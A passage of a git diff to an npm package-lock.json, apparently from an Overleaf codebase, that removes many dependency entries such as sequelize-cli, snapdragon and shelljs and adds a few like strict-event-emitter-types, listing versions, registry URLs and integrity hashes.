"sha512-ySIHof18sJbeVG4zjEvsDL490cd9S14/IhkCrZR/g0C/FPlZq1AzEJVeSAo++9/sgJH2eERltAIGqYQNgVqX/A==", +- "requires": { +- "bluebird": "^3.5.0", +- "cls-bluebird": "^2.1.0", +- "debug": "^4.1.1", +- "dottie": "^2.0.0", +- "inflection": "1.12.0", +- "lodash": "^4.17.15", +- "moment": "^2.24.0", +- "moment-timezone": "^0.5.21", +- "retry-as-promised": "^3.2.0", +- "semver": "^6.3.0", +- "sequelize-pool": "^2.3.0", +- "toposort-class": "^1.0.1", +- "uuid": "^8.3.2", +- "validator": "^13.7.0", +- "wkx": "^0.4.8" +- }, +- "dependencies": { +- "uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" +- } +- } +- }, +- "sequelize-cli": { +- "version": "5.5.1", +- "resolved": "https://registry.npmjs.org/sequelize-cli/-/sequelize-cli-5.5.1.tgz", +- "integrity": "sha512-ZM4kUZvY3y14y+Rq3cYxGH7YDJz11jWHcN2p2x7rhAIemouu4CEXr5ebw30lzTBtyXV4j2kTO+nUjZOqzG7k+Q==", +- "dev": true, +- "requires": { +- "bluebird": "^3.5.3", +- "cli-color": "^1.4.0", +- "fs-extra": "^7.0.1", +- "js-beautify": "^1.8.8", +- "lodash": "^4.17.5", +- "resolve": "^1.5.0", +- "umzug": "^2.1.0", +- "yargs": "^13.1.0" +- }, +- "dependencies": { +- "ansi-regex": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", +- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", +- "dev": true +- }, +- "camelcase": { +- "version": "5.3.1", +- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", +- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", +- "dev": true +- }, +- "cliui": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", +- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", +- "dev": true, +- "requires": { +- "string-width": "^3.1.0", +- "strip-ansi": "^5.2.0", +- "wrap-ansi": "^5.1.0" +- } +- }, +- "emoji-regex": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", +- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", +- "dev": true +- }, +- "find-up": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", +- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", +- "dev": true, +- "requires": { +- "locate-path": "^3.0.0" +- } +- }, +- "fs-extra": { +- "version": "7.0.1", +- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", +- "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", +- "dev": true, +- "requires": { +- "graceful-fs": "^4.1.2", +- "jsonfile": "^4.0.0", +- "universalify": "^0.1.0" +- } +- }, +- "is-fullwidth-code-point": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", +- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", +- "dev": true +- }, +- "jsonfile": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", +- "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", +- "dev": true, +- "requires": { +- "graceful-fs": "^4.1.6" +- } +- }, +- "locate-path": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", +- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", +- "dev": true, +- "requires": { +- "p-locate": "^3.0.0", +- "path-exists": "^3.0.0" +- } +- }, +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dev": true, +- "requires": { +- "p-try": "^2.0.0" +- } +- }, +- "p-locate": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", +- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", +- "dev": true, +- "requires": { +- "p-limit": "^2.0.0" +- } +- }, +- "path-exists": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", +- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", +- "dev": true +- }, +- "string-width": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", +- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", +- "dev": true, +- "requires": { +- "emoji-regex": "^7.0.1", +- "is-fullwidth-code-point": "^2.0.0", +- "strip-ansi": "^5.1.0" +- } +- }, +- "strip-ansi": { +- "version": "5.2.0", +- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", +- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", +- "dev": true, +- "requires": { +- "ansi-regex": "^4.1.0" +- } +- }, +- "universalify": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", +- "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", +- "dev": true +- }, +- "wrap-ansi": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", +- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", +- "dev": true, +- "requires": { +- "ansi-styles": "^3.2.0", +- "string-width": "^3.0.0", +- "strip-ansi": "^5.0.0" +- } +- }, +- "y18n": { +- "version": "4.0.3", +- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", +- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", +- "dev": true +- }, +- "yargs": { +- "version": "13.3.2", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", +- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", +- "dev": true, +- "requires": { +- "cliui": "^5.0.0", +- "find-up": "^3.0.0", +- "get-caller-file": "^2.0.1", +- "require-directory": "^2.1.1", +- "require-main-filename": "^2.0.0", +- "set-blocking": "^2.0.0", +- "string-width": "^3.0.0", +- "which-module": "^2.0.0", +- "y18n": "^4.0.0", +- "yargs-parser": "^13.1.2" +- } +- }, +- "yargs-parser": { +- "version": "13.1.2", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", +- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", +- "dev": true, +- "requires": { +- "camelcase": "^5.0.0", +- "decamelize": "^1.2.0" +- } +- } +- } +- }, +- "sequelize-pool": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/sequelize-pool/-/sequelize-pool-2.3.0.tgz", +- "integrity": "sha512-Ibz08vnXvkZ8LJTiUOxRcj1Ckdn7qafNZ2t59jYHMX1VIebTAOYefWdRYFt6z6+hy52WGthAHAoLc9hvk3onqA==" +- }, + "serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", +@@ -62780,17 +50609,6 @@ + "to-object-path": "^0.3.0" + } + }, +- "set-value": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", +- "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", +- "requires": { +- "extend-shallow": "^2.0.1", +- "is-extendable": "^0.1.1", +- "is-plain-object": "^2.0.3", +- "split-string": "^3.0.1" +- } +- }, + "setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", +@@ -62825,43 +50643,11 @@ + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "devOptional": true + }, +- "shelljs": { +- "version": "0.8.5", +- "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.8.5.tgz", +- "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==", +- "requires": { +- "glob": "^7.0.0", +- "interpret": "^1.0.0", +- "rechoir": "^0.6.2" +- }, +- "dependencies": { +- "interpret": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", +- "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==" +- } +- } +- }, + "shimmer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz", + "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw==" + }, +- "shortid": { +- "version": "2.2.14", +- "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.14.tgz", +- "integrity": "sha512-4UnZgr9gDdA1kaKj/38IiudfC3KHKhDc1zi/HSxd9FQDR0VLwH3/y79tZJLsVYPsJgIjeHjqIWaWVRJUj9qZOQ==", +- "requires": { +- "nanoid": "^2.0.0" +- }, +- "dependencies": { +- "nanoid": { +- "version": "2.1.11", +- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", +- "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA==" +- } +- } +- }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", +@@ -62877,12 +50663,6 @@ + "resolved": "https://registry.npmjs.org/sift/-/sift-13.5.2.tgz", + "integrity": "sha512-+gxdEOMA2J+AI+fVsCqeNn7Tgx3M9ZN9jdi95939l1IJ8cZsqS8sqpJyOkic2SJk+1+98Uwryt/gL6XDaV+UZA==" + }, +- "sigmund": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz", +- "integrity": "sha1-P/IfGYytIXX587eBhT/ZTQ0ZtZA=", +- "dev": true +- }, + "signal-exit": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.6.tgz", +@@ -62894,23 +50674,6 @@ + "integrity": "sha1-Krt1qt453rXMgVzhDmGRFkhQuvA=", + "dev": true + }, +- "simple-oauth2": { +- "version": "0.6.0", +- "resolved": "https://registry.npmjs.org/simple-oauth2/-/simple-oauth2-0.6.0.tgz", +- "integrity": "sha1-lQ/dsHJURrymK9oMauslEUAx8RU=", +- "requires": { +- "bluebird": "^2.10.1", +- "date-utils": "^1.2.12", +- "request": "^2.67.0" +- }, +- "dependencies": { +- "bluebird": { +- "version": "2.11.0", +- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.11.0.tgz", +- "integrity": "sha1-U0uQM8AiyVecVro7Plpcqvu2UOE=" +- } +- } +- }, + "simple-update-notifier": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-1.0.7.tgz", +@@ -62966,12 +50729,6 @@ + "dev": true, + "requires": {} + }, +- "sinon-stub-promise": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/sinon-stub-promise/-/sinon-stub-promise-4.0.0.tgz", +- "integrity": "sha1-bUmLoRmFV80B40Zq+S3H33JRksI=", +- "dev": true +- }, + "slash": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", +@@ -63014,133 +50771,6 @@ + "resolved": "https://registry.npmjs.org/snakeize/-/snakeize-0.1.0.tgz", + "integrity": "sha1-EMCI2LWOsHazIpu1oE4jLOEmQi0=" + }, +- "snapdragon": { +- "version": "0.8.2", +- "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", +- "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", +- "requires": { +- "base": "^0.11.1", +- "debug": "^2.2.0", +- "define-property": "^0.2.5", +- "extend-shallow": "^2.0.1", +- "map-cache": "^0.2.2", +- "source-map": "^0.5.6", +- "source-map-resolve": "^0.5.0", +- "use": "^3.1.0" +- }, +- "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "requires": { +- "is-descriptor": "^0.1.0" +- } +- }, +- "is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "requires": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- } +- }, +- "kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } +- }, +- "snapdragon-node": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", +- "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", +- "requires": { +- "define-property": "^1.0.0", +- "isobject": "^3.0.0", +- "snapdragon-util": "^3.0.1" +- }, +- "dependencies": { +- "define-property": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", +- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", +- "requires": { +- "is-descriptor": "^1.0.0" +- } +- } +- } +- }, +- "snapdragon-util": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", +- "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", +- "requires": { +- "kind-of": "^3.2.0" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, + "socket.io": { + "version": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb", + "from": "socket.io@overleaf/socket.io#0.9.19-overleaf-6", +@@ -63283,18 +50913,6 @@ + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true + }, +- "source-map-resolve": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", +- "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", +- "requires": { +- "atob": "^2.1.2", +- "decode-uri-component": "^0.2.0", +- "resolve-url": "^0.2.1", +- "source-map-url": "^0.4.0", +- "urix": "^0.1.0" +- } +- }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", +@@ -63311,16 +50929,6 @@ + } + } + }, +- "source-map-url": { +- "version": "0.4.1", +- "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", +- "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==" +- }, +- "spark-md5": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", +- "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==" +- }, + "sparse-bitfield": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz", +@@ -63404,42 +51012,11 @@ + "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + }, +- "split-string": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", +- "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", +- "requires": { +- "extend-shallow": "^3.0.0" +- }, +- "dependencies": { +- "extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "requires": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- } +- }, +- "is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "requires": { +- "is-plain-object": "^2.0.4" +- } +- } +- } +- }, +- "split2": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/split2/-/split2-4.1.0.tgz", +- "integrity": "sha512-VBiJxFkxiXRlUIeyMQi8s4hgvKCSjtknJv/LVYbrgALPwf5zSKmEwV9Lst25AkvMDnvxODugjdl6KZgwKM1WYQ==" +- }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", +- "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" ++ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", ++ "dev": true + }, + "sprintf-kit": { + "version": "2.0.1", +@@ -63523,76 +51100,6 @@ + "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz", + "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A==" + }, +- "static-extend": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", +- "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", +- "requires": { +- "define-property": "^0.2.5", +- "object-copy": "^0.1.0" +- }, +- "dependencies": { +- "define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "requires": { +- "is-descriptor": "^0.1.0" +- } +- }, +- "is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "requires": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- } +- }, +- "kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" +- } +- } +- }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", +@@ -63603,11 +51110,6 @@ + "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz", + "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=" + }, +- "stream-buffers": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz", +- "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==" +- }, + "stream-connect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/stream-connect/-/stream-connect-1.0.2.tgz", +@@ -63628,11 +51130,6 @@ + } + } + }, +- "stream-counter": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/stream-counter/-/stream-counter-1.0.0.tgz", +- "integrity": "sha1-kc8lac5NxQYf6816yyY5SloRR1E=" +- }, + "stream-events": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz", +@@ -63646,14 +51143,6 @@ + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==" + }, +- "stream-transform": { +- "version": "2.1.3", +- "resolved": "https://registry.npmjs.org/stream-transform/-/stream-transform-2.1.3.tgz", +- "integrity": "sha512-9GHUiM5hMiCi6Y03jD2ARC1ettBXkQBoQAe7nJsPknnI0ow10aXjTnew8QtYQmLjzn974BnmWEAJgCY6ZP1DeQ==", +- "requires": { +- "mixme": "^0.5.1" +- } +- }, + "stream-via": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/stream-via/-/stream-via-1.0.4.tgz", +@@ -63681,6 +51170,12 @@ + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=" + }, ++ "strict-event-emitter-types": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/strict-event-emitter-types/-/strict-event-emitter-types-2.0.0.tgz", ++ "integrity": "sha512-Nk/brWYpD85WlOgzw5h173aci0Teyv8YdIAEtV+N88nDB0dLlazZyJMIsN6eo1/AR61l+p6CJTG1JIyFaoNEEA==", ++ "dev": true ++ }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", +@@ -63696,44 +51191,6 @@ + } + } + }, +- "string-to-stream": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string-to-stream/-/string-to-stream-1.1.1.tgz", +- "integrity": "sha512-QySF2+3Rwq0SdO3s7BAp4x+c3qsClpPQ6abAmb0DGViiSBAkT5kL6JT2iyzEVP+T1SmzHrQD1TwlP9QAHCc+Sw==", +- "requires": { +- "inherits": "^2.0.1", +- "readable-stream": "^2.1.0" +- }, +- "dependencies": { +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": 